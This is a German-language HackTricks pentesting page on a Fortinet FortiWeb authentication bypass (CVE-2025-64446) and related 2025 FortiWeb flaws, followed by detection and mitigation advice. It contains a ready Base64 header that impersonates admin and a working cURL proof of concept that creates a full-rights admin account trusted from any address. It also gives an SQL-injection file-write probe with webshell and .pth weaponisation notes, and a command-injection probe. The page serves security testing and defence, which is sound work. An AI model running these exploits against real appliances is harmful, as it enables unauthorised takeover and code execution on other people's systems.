Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Überblick

Fortinet FortiWeb stellt einen zentralisierten CGI-Dispatcher unter /cgi-bin/fwbcgi bereit. Eine Zwei-Bug-Kette ermöglicht einem nicht authentifizierten entfernten Angreifer:

  • Erreichen von fwbcgi, indem die URL mit einem gültigen API prefix beginnt und Verzeichnisse traversiert werden.
  • Sich als beliebiger Benutzer auszugeben (einschließlich des eingebauten admin), indem ein spezieller HTTP-Header bereitgestellt wird, dem das CGI die Identität entnimmt.

Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Ausnutzungen wurden in der Praxis beobachtet, um persistente Admin-Benutzer anzulegen.

Betroffene Versionen (laut öffentlich dokumentierten Angaben):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 gibt HTTP 403 für die untenstehende traversal probe zurück.

Schnelle Schwachstellenprüfung

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • Interpretation: HTTP 200 → wahrscheinlich verwundbar; HTTP 403 → gepatcht.

Ursachenkette

  1. API-prefix path traversal to internal CGI
  • Jeder Request-Pfad, der mit einem gültigen FortiWeb API-Prefix beginnt (z. B. /api/v2.0/cmdb/ oder /api/v2.0/cmd/), kann mittels ../ nach /cgi-bin/fwbcgi traversieren.
  1. Minimal-body validation bypass
  • Sobald fwbcgi erreicht ist, führt ein erstes Gate eine permissive JSON-Prüfung durch, die durch eine pro-Pfad-Datei unter /var/log/inputcheck/ gesteuert wird. Ist die Datei nicht vorhanden, besteht die Prüfung sofort. Wenn sie vorhanden ist, muss der Body nur gültiges JSON sein. Verwende {} als minimal zulässigen Body.
  1. Header-driven user impersonation
  • Das Programm liest die CGI-Umgebungsvariable HTTP_CGIINFO (abgeleitet vom HTTP-Header CGIINFO), dekodiert sie Base64, parst JSON und kopiert Attribute direkt in den Login-Kontext, wobei die Domain/VDOM gesetzt wird. Relevante Keys:
  • username, loginname, vdom, profname
  • Beispiel-JSON, um den built-in admin zu impersonieren:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

Base64 des Obigen (wie sie in freier Wildbahn verwendet wird):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

End-to-end-Missbrauchsmuster (unauthenticated → admin)

  1. Erreiche /cgi-bin/fwbcgi via an API-prefix traversal.
  2. Gib einen beliebigen gültigen JSON-Body (z. B. {}) an, um die Eingabeprüfung zu bestehen.
  3. Sende den Header CGIINFO: <base64(json)>, wobei das JSON die Zielidentität definiert.
  4. POSTe das vom fwbcgi erwartete Backend-JSON, um privilegierte Aktionen auszuführen (z. B. einen admin-Benutzer zur Persistenz anzulegen).

Minimaler cURL PoC

  • Traversal-Exposure prüfen:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • Als admin ausgeben und einen neuen local admin user erstellen:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Hinweise:

  • Jede gültige JSON-Body genügt (z. B. {}), falls /var/log/inputcheck/<path>.json nicht existiert.
  • Das Action-Schema ist FortiWeb-intern; das obige Beispiel fügt einen lokalen Admin mit vollen Rechten hinzu.

Weitere FortiWeb-2025-Schwachstellen, die schnell geprüft werden sollten

Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)

  • Betrifft 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Behoben in 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.
  • Fehler: get_fabric_user_by_token() verwendet den Authorization: Bearer <token>-Wert direkt in einer SQL-Abfrage. Der Angreifer liefert SQL, das als MySQL-Benutzer ausgeführt wird und Dateien per SELECT ... INTO OUTFILE ablegen kann, was zur Codeausführung (webshell/.pth-Loader) führt.
  • Typische Angriffsfläche: /api/fabric/device/status (und andere Fabric Connector-Endpunkte) über HTTP/HTTPS auf der Management-Ebene.
  • Schneller Test für SQLi:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
  • Weaponisierung: schreibe eine .pth in FortiWeb’s Python site-packages, die beim Interpreter-Start os;os.system(...) importiert, oder lege ein CGI unter dem Webroot ab. Ein Neuladen der Services führt die Payload aus.
  • Hunting-Indikatoren: Authorization-Header, die quotes/UNION/SELECT enthalten; unerwartete Dateien unter /data/lib/python*/site-packages/ oder /data/var/waf/html/ROOT/cgi-bin/.

FortiCloud SSO signature bypass (CVE-2025-59719)

  • Eine fehlerhafte SAML-Signaturprüfung ermöglicht es einem Angreifer, FortiCloud SSO-Antworten zu fälschen und sich ohne Anmeldeinformationen als admin einzuloggen.
  • Nur ausnutzbar, wenn FortiCloud SSO login aktiviert ist (wird automatisch aktiviert, wenn das Appliance über die GUI registriert wurde, sofern das Kontrollkästchen nicht deaktiviert wurde).
  • Betroffen (laut PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Behoben in 8.0.1 / 7.6.5 / 7.4.10.

OS command injection in management plane (CVE-2025-58034)

  • Betroffen: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Behoben in 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
  • Praktische Probe (nicht-destruktiv): sende einen Parameter, der ;id; enthält, an Management-HTTP-Endpunkte und achte auf 500-Antworten mit Befehlsausgabe; sofort blockieren oder patchen, wenn irgendeine Echoausgabe gesehen wird.

Detection

  • Anfragen, die /cgi-bin/fwbcgi erreichen über API-Prefix-Pfade, die ../ enthalten (z. B. /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • Vorhandensein des Headers CGIINFO mit Base64-kodiertem JSON, das die Schlüssel username/loginname/vdom/profname enthält.
  • Fabric Connector SQLi: Authorization-Header, die SQL-Metazeichen enthalten, plötzlich auftauchende Dateien in Python site-packages/CGI-Verzeichnissen, Zugriffe auf /api/fabric/device/status von Internet-IP-Adressen.
  • FortiCloud SSO: unerwartete SAML-Issuer oder Audience-Werte in /var/log/ssod.
  • Backend-Artefakte:
  • Pfadspezifische Dateien unter /var/log/inputcheck/ (gate configuration).
  • Unerwartete Admin-Erstellungen und Konfigurationsänderungen.
  • Schnelle Validierung: die Traversal-Prüfung liefert 200 (exposed) vs 403 (in gepatchten Builds geblockt).

Mitigation

  • Auf die behobenen Releases aktualisieren (Beispiele: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) gemäß dem Herstellerhinweis.
  • Die anderen 2025-Schwachstellen patchen: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
  • Bis zum Patch:
  • FortiWeb Management-Plane nicht untrusted/netzwerkfremden Netzwerken aussetzen.
  • Reverse-Proxy/WAF-Regeln hinzufügen, um zu blockieren:
  • Pfade, die mit /api/ beginnen und ../cgi-bin/fwbcgi enthalten.
  • Anfragen mit einem CGIINFO-Header.
  • Fabric Connector-Aufrufe mit SQL-Metazeichen im Authorization-Header.
  • SAML-Endpunkte aus dem Internet sperren/nicht erreichbar machen, wenn FortiCloud SSO nicht genutzt wird.
  • Die oben genannten Erkennungsindikatoren überwachen und Alarme auslösen.

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks